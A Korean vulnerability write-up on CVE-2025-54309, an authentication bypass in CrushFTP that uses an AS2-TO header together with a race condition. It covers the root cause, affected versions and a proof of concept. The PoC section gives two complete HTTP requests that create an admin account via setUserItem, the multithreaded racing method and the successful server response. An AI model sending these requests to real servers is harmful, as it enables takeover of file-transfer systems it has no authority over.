[하루한줄] CVE-2025-54309: CrushFTP의 AS2 검증 취약점으로 인한 관리자 권한 탈취

URL

https://www.crushftp.com/crush11wiki/Wiki.jsp?page=CompromiseJuly2025&utm_source=chatgpt.com

Target

  • CrushFTP
    • v10 < 10.8.5
    • v11 < 11.3.4_23
  • DMZ Proxy 기능을 사용하지 않는 경우

Explain

CrushFTP는 FTP, SFTP, HTTP/S, WebDAV 등을 지원하는 파일 전송 서버로 엔터프라이즈 환경에서도 자주 사용되고 있으며, 과거 인증 우회와 RCE 취약점으로 자주 언급된 이력이 있습니다. 2025년 7월, CrushFTP는 공격이 활발히 진행 중인 상태에서 취약점 공지를 뒤늦게 발표하였습니다.

이번 취약점의 근본 원인은 AS2 프로토콜 검증 로직의 부실한 처리와 이를 악용한 경쟁 조건(Race Condition)에 있습니다. CrushFTP는 기본적으로 AS2-TO라는 HTTP 헤더를 통해 전송되는 값을 내부 세션 객체(session object)에 저장하는데, 이 값이 특정 사용자 계정의 권한과 연결됩니다. 문제는 이 과정에서 입력값에 대한 적절한 검증이 이루어지지 않아, 공격자가 AS2-TO: \crushadmin 과 같은 헤더를 조작하여 세션 상에서 현재 인증된 사용자가 내장 관리자 계정인 crushadmin으로 인식되도록 만들 수 있다는 점입니다.

단일 요청만으로는 권한 상승이 즉시 발생하지 않지만, 공격자는 이 점을 이용해 두 개의 연속된 요청을 발송합니다. 첫 번째 요청은 AS2-TO 헤더를 삽입하여 세션을 관리자 계정으로 속이고, 두 번째 요청은 CrushFTP의 관리 기능 중 하나인 setUserItem 함수를 호출하여 새로운 사용자 계정을 생성합니다. 이 두 요청이 아주 짧은 시간 간격으로 경쟁(race) 상태를 형성할 경우, 두 번째 요청은 세션이 이미 crushadmin으로 변조된 상태에서 실행되며, 결과적으로 공격자는 임의의 관리자 계정을 성공적으로 추가할 수 있습니다.

따라서 이 취약점은 단순한 인증 우회가 아니라, 세션 객체의 사용자 속성 관리 미흡과 요청 간 동기화 실패가 맞물려 발생하는 문제입니다. DMZ Proxy 기능을 사용하는 경우에는 요청 흐름이 달라 이러한 공격이 차단되지만, 해당 기능은 기본적으로 비활성화되어 있어 대부분의 설치 환경이 그대로 노출되었습니다. 결국, 이 결함으로 인해 원격의 비인가 공격자가 관리자 권한을 얻을 수 있으며, 이는 CrushFTP 인스턴스를 완전히 장악하는 것으로 이어질 수 있습니다.

취약점의 악용 시나리오는 아래와 같습니다.

  • AS2 검증 로직을 적절히 처리하지 못해 인증이 우회됨
  • AS2-TO HTTP 헤더를 이용해 내부 세션 객체의 사용자 속성을 crushadmin으로 덮어쓸 수 있음
  • 이어지는 별도의 요청에서 setUserItem 함수를 통해 새로운 관리자 계정을 생성 가능함
  • Race Condition 형태로 두 요청이 짧은 시간 내에 동시에 발생할 때 공격에 성공함

PoC

공격자는 아래와 같은 두 가지 요청을 조합하여 관리자 계정을 추가할 수 있습니다.

  1. Request [1]

    POST /WebInterface/function/ HTTP/1.1
    Host: {{Hostname}}
    User-Agent: python-requests/2.32.3
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    AS2-TO: \crushadmin
    Content-Type: disposition-notification
    X-Requested-With: XMLHttpRequest
    Cookie: CrushAuth=1755628505894_6BIIu82Vk0lI9naqUFa0zdjXuOZgDeQ5; currentAuth=DeQ5
    Content-Length: 785
    
    command=setUserItem&data_action=new&serverGroup=MainUsers&username=WATCHTOWRUSER&user=<?xml version="1.0" encoding="UTF-8"?><user type="properties"><max_logins_ip>8</max_logins_ip><real_path_to_user>./users/MainUsers/crushadmin/</real_path_to_user><root_dir>/</root_dir><user_name>CENSORED</user_name><version>1.0</version><max_logins>0</max_logins><last_logins>03/28/2025 03:00:26 PM</last_logins><password>NEWPASSWORD</password><site>(CONNECT)(WEB_ADMIN)</site><ignore_max_logins>true</ignore_max_logins><max_idle_time>0</max_idle_time><username>CENSORED</username></user>&xmlItem=user&vfs_items=<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>&permissions=<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)</item></VFS>&c2f=DeQ5
    • AS2-TO: \crushadmin 헤더 포함
    • 세션 내 인증 사용자 속성을 crushadmin으로 설정
  2. Request [2]

    POST /WebInterface/function/ HTTP/1.1
    Host: {{Hostname}}
    User-Agent: python-requests/2.32.3
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    Cookie: CrushAuth=1755628505894_6BIIu82Vk0lI9naqUFa0zdjXuOZgDeQ5; currentAuth=DeQ5
    Content-Length: 785
    
    command=setUserItem&data_action=new&serverGroup=MainUsers&username=WATCHTOWRUSER&user=<?xml version="1.0" encoding="UTF-8"?><user type="properties"><max_logins_ip>8</max_logins_ip><real_path_to_user>./users/MainUsers/crushadmin/</real_path_to_user><root_dir>/</root_dir><user_name>CENSORED</user_name><version>1.0</version><max_logins>0</max_logins><last_logins>03/28/2025 03:00:26 PM</last_logins><password>NEWPASSWORD</password><site>(CONNECT)(WEB_ADMIN)</site><ignore_max_logins>true</ignore_max_logins><max_idle_time>0</max_idle_time><username>CENSORED</username></user>&xmlItem=user&vfs_items=<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>&permissions=<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)</item></VFS>&c2f=DeQ5
    • setUserItem 호출을 통해 새로운 계정 생성 시도
    • 요청 [1]과 경합(race)이 성공적으로 발생할 경우, CrushFTP는 이를 crushadmin 권한으로 처리
    • 최종적으로 공격자가 원하는 관리자 계정이 추가됨

실제 공격 환경을 재현하기 위해 crushftp11:11.3.0_3 버전의 테스트 인스턴스를 실행하고, 두 요청을 수천 번 이상 멀티스레드로 전송하는 방식으로 진행한 결과, 초기에는 두 요청 모두 동일하게 HTTP/1.1 404 Not Found 응답만 반환하며 차이가 없어 보였습니다. 그러나 HTTP 로그를 자세히 들여다보니, Request [1]과 Request [2]가 거의 동일한 횟수(각각 약 1,190여 건)로 연속적으로 발생하며 서로 경합(race) 상태를 이루고 있음을 발견했습니다.

HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Keep-Alive: timeout=15, max=20
Connection: Keep-Alive
Content-Length: 163

<?xml version="1.0" encoding="UTF-8"?> 
<result><response_status>OK</response_status><response_type>text</response_type><response_data></response_data></result>

이에 착안하여 두 요청을 초고속으로 번갈아가며 전송하는 스크립트를 작성해 수천 개의 쓰레드로 동시에 실행시킨 결과 일부 Request [2]에서 위와 같이 HTTP/1.1 200 OK 응답이 반환되었고, 실제로 관리 사용자 목록에 새로운 계정 “WATCHTOWRUSER” 가 추가된 것이 확인되었습니다.

image.png

이는 단일 요청만으로는 취약점이 발동되지 않으며, Request [1]에서 전달된 AS2-TO: \crushadmin 헤더 값이 세션 객체 내 쿠키(CrushAuth, currentAuth)에 기록되면서 현재 사용자가 crushadmin으로 인식된다는 점입니다. 그 직후 요청 [2]가 경합을 이기고 실행될 경우, 서버는 이를 crushadmin 권한으로 처리하고 setUserItem을 통해 새로운 관리자 계정을 생성하게 됩니다.

Reference

https://labs.watchtowr.com/the-one-where-we-just-steal-the-vulnerabilities-crushftp-cve-2025-54309/

https://reliaquest.com/blog/threat-spotlight-cve-2025-54309-crushftp-exploit/